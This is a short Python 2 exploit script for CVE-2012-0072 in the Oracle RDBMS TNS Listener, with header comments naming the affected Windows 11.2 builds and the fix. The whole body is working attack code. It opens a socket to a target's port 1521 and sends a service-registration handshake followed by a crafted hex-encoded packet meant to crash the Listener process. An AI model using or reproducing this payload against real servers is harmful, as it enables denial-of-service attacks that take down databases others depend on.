# TNS Listener (Oracle RDBMS) CVE-2012-0072 exploit, cause trap in Listener process # Successfully working with Oracle RDBMS Win32 11.2 # with CPUjan2011 or Patch 12 applied # Vulnerability discovered by Dennis Yurichev # Python 2.x # crash in nsglvcrt() -> memcpy() # fixed in CPUjan2012 from sys import * from socket import * sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect ((argv[1], 1521)) sockobj.send( "\x00\x68\x00\x00\x01\x00\x00\x00" # |.h......| 0 "\x01\x3A\x01\x2C\x00\x00\x20\x00" # |.:.,....| "\x7F\xFF\xC6\x0E\x00\x00\x01\x00" # |........| 10 "\x00\x2E\x00\x3A\x00\x00\x00\x00" # |...:....| "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| 20 "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| 30 "\x00\x00\x28\x43\x4F\x4E\x4E\x45" # |..(CONNE| "\x43\x54\x5F\x44\x41\x54\x41\x3D" # |CT_DATA=| 40 "\x28\x43\x4F\x4D\x4D\x41\x4E\x44" # |(COMMAND| "\x3D\x73\x65\x72\x76\x69\x63\x65" # |=service| 50 "\x5F\x72\x65\x67\x69\x73\x74\x65" # |_registe| "\x72\x5F\x4E\x53\x47\x52\x29\x29" # |r_NSGR))| 60 ) data=sockobj.recv(102400) sockobj.send( "\x02\xDE\x00\x00\x06\x00\x00\x00" # |........| 0 "\x00\x00\x00\x00\x02\xD4\x20\x08" # |........| "\xFF\x03\x00\x00\x12\x34\x34\x34" # |.....444| 10 was "\xFF\x03\x01\x00\x12\x34\x34\x34" "\x34\x34\x78\x10\x10\x32\x10\x32" # |44x..2.2| "\x10\x32\x10\x32\x10\x32\x54\x76" # |.2.2.2Tv| 20 "\x00\x78\x10\x32\x54\x76\x44\x00" # |.x.2TvD.| "\x00\x80\x02\x00\x00\x00\x00\x04" # |........| 30 "\x00\x00\x70\xE4\xA5\x09\x90\x00" # |..p.....| "\x23\x00\x00\x00\x42\x45\x43\x37" # |#...BEC7| 40 "\x36\x43\x32\x43\x43\x31\x33\x36" # |6C2CC136| "\x2D\x35\x46\x39\x46\x2D\x45\x30" # |-5F9F-E0| 50 "\x33\x34\x2D\x30\x30\x30\x33\x42" # |34-0003B| "\x41\x31\x33\x37\x34\x42\x33\x03" # |A1374B3.| 60 "\x00\x65\x00\x01\x00\x01\x00\x00" # |.e......| "\x00\x00\x00\x00\x00\x00\x64\x02" # |......d.| 70 "\x00\x80\x05\x00\x00\x00\x00\x04" # |........| "\x00\x00\x00\x00\x00\x00\x01\x00" # |........| 80 "\x00\x00\x10\x00\x00\x00\x02\x00" # |........| "\x00\x00\x84\xC3\xCC\x07\x01\x00" # |........| 90 "\x00\x00\x84\x2F\xA6\x09\x00\x00" # |.../....| "\x00\x00\x44\xA5\xA2\x09\x25\x98" # |..D...%.| A0 "\x18\xE9\x28\x50\x4F\x28\xBB\xAC" # |..(PO(..| "\x15\x56\x8E\x68\x1D\x6D\x05\x00" # |.V.h.m..| B0 "\x00\x00\xFC\xA9\x36\x22\x0F\x00" # |....6"..| "\x00\x00\x60\x30\xA6\x09\x0A\x00" # |..`0....| C0 "\x00\x00\x64\x00\x00\x00\x00\x00" # |..d.....| "\x00\x00\xAA\x00\x00\x00\x00\x01" # |........| D0 "\x00\x00\x17\x00\x00\x00\x78\xC3" # |......x.| "\xCC\x07\x6F\x72\x63\x6C\x00\x28" # |..orcl.(| E0 "\x48\x4F\x53\x54\x3D\x77\x69\x6E" # |HOST=win| "\x32\x30\x30\x33\x29\x00\x01\x00" # |2003)...| F0 "\x00\x00\x09\x00\x00\x00\x01\x00" # |........| "\x00\x00\x50\xC5\x2F\x22\x02\x00" # |..P./"..| 100 "\x00\x00\x34\xC5\x2F\x22\x00\x00" # |..4./"..| "\x00\x00\x9C\xC5\xCC\x07\x6F\x72" # |......or| 110 "\x63\x6C\x5F\x58\x50\x54\x00\x09" # |cl_XPT..| "\x00\x00\x00\x50\xC5\x2F\x22\x04" # |...P./".| 120 "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| "\x00\x00\x00\x00\x00\x00\x00\x34" # |.......4| 130 "\xC5\xCC\x07\x6F\x72\x63\x6C\x5F" # |...orcl_| "\x58\x50\x54\x00\x01\x00\x00\x00" # |XPT.....| 140 "\x0A\x00\x00\x00\x01\x00\x00\x00" # |........| 148 was "\x05\x00\x00\x00\x01\x00\x00\x00" "\x84\xC5\x2F\x22\x02\x00\x00\x00" # |../"....| 150 "\x68\xC5\x2F\x22\x00\x00\x00\x00" # |h./"....| "\xA4\xA5\xA2\x09\x6F\x72\x63\x6C" # |....orcl| 160 "\x00\x05\x00\x00\x00\x84\xC5\x2F" # |......./| "\x22\x04\x00\x00\x00\x00\x00\x00" # |".......| 170 "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| "\x00\xFC\xC4\xCC\x07\x6F\x72\x63" # |.....orc| 180 "\x6C\x00\x01\x00\x00\x00\x10\x00" # |l.......| "\x00\x00\x02\x00\x00\x00\xBC\xC3" # |........| 190 "\xCC\x07\x04\x00\x00\x00\xB0\x2F" # |......./| "\xA6\x09\x00\x00\x00\x00\x00\x00" # |........| 1A0 "\x00\x00\x89\xC0\xB1\xC3\x08\x1D" # |........| "\x46\x6D\xB6\xCF\xD1\xDD\x2C\xA7" # |Fm....,.| 1B0 "\x66\x6D\x0A\x00\x00\x00\x78\x2B" # |fm....x+| "\xBC\x04\x7F\x00\x00\x00\x64\xA7" # |......d.| 1C0 "\xA2\x09\x0D\x00\x00\x00\x20\x2C" # |.......,| "\xBC\x04\x11\x00\x00\x00\x95\x00" # |........| 1D0 "\x00\x00\x02\x20\x00\x80\x03\x00" # |........| "\x00\x00\x98\xC5\x2F\x22\x00\x00" # |..../"..| 1E0 "\x00\x00\x00\x00\x00\x00\x0A\x00" # |........| "\x00\x00\xB0\xC3\xCC\x07\x44\x45" # |......DE| 1F0 "\x44\x49\x43\x41\x54\x45\x44\x00" # |DICATED.| "\x28\x41\x44\x44\x52\x45\x53\x53" # |(ADDRESS| 200 "\x3D\x28\x50\x52\x4F\x54\x4F\x43" # |=(PROTOC| "\x4F\x4C\x3D\x42\x45\x51\x29\x28" # |OL=BEQ)(| 210 "\x50\x52\x4F\x47\x52\x41\x4D\x3D" # |PROGRAM=| "\x43\x3A\x5C\x61\x70\x70\x5C\x41" # |C:\app\A| 220 "\x64\x6D\x69\x6E\x69\x73\x74\x72" # |dministr| "\x61\x74\x6F\x72\x5C\x70\x72\x6F" # |ator\pro| 230 "\x64\x75\x63\x74\x5C\x31\x31\x2E" # |duct\11.| "\x31\x2E\x30\x5C\x64\x62\x5F\x31" # |1.0\db_1| 240 "\x5C\x62\x69\x6E\x5C\x6F\x72\x61" # |\bin\ora| "\x63\x6C\x65\x2E\x65\x78\x65\x29" # |cle.exe)| 250 "\x28\x41\x52\x47\x56\x30\x3D\x6F" # |(ARGV0=o| "\x72\x61\x63\x6C\x65\x6F\x72\x63" # |racleorc| 260 "\x6C\x29\x28\x41\x52\x47\x53\x3D" # |l)(ARGS=| "\x27\x28\x4C\x4F\x43\x41\x4C\x3D" # |'(LOCAL=| 270 "\x4E\x4F\x29\x27\x29\x29\x00\x4C" # |NO)')).L| "\x4F\x43\x41\x4C\x20\x53\x45\x52" # |OCAL.SER| 280 "\x56\x45\x52\x00\x68\xC5\x2F\x22" # |VER.h./"| "\x34\xC5\x2F\x22\x00\x00\x00\x00" # |4./"....| 290 "\x05\x00\x00\x00\x84\xC5\x2F\x22" # |....../"| "\x04\x00\x00\x00\x00\x00\x00\x00" # |........| 2A0 "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| "\xFC\xC4\xCC\x07\x6F\x72\x63\x6C" # |....orcl| 2B0 "\x00\x09\x00\x00\x00\x50\xC5\x2F" # |.....P./| "\x22\x04\x00\x00\x00\x00\x00\x00" # |".......| 2C0 "\x00\x00\x00\x00\x00\x00\x00\x00" # |........| "\x00\x34\xC5\xCC\x07\x6F\x72\x63" # |.4...orc| 2D0 "\x6C\x5F\x58\x50\x54\x00" # |l_XPT. | ) sockobj.close()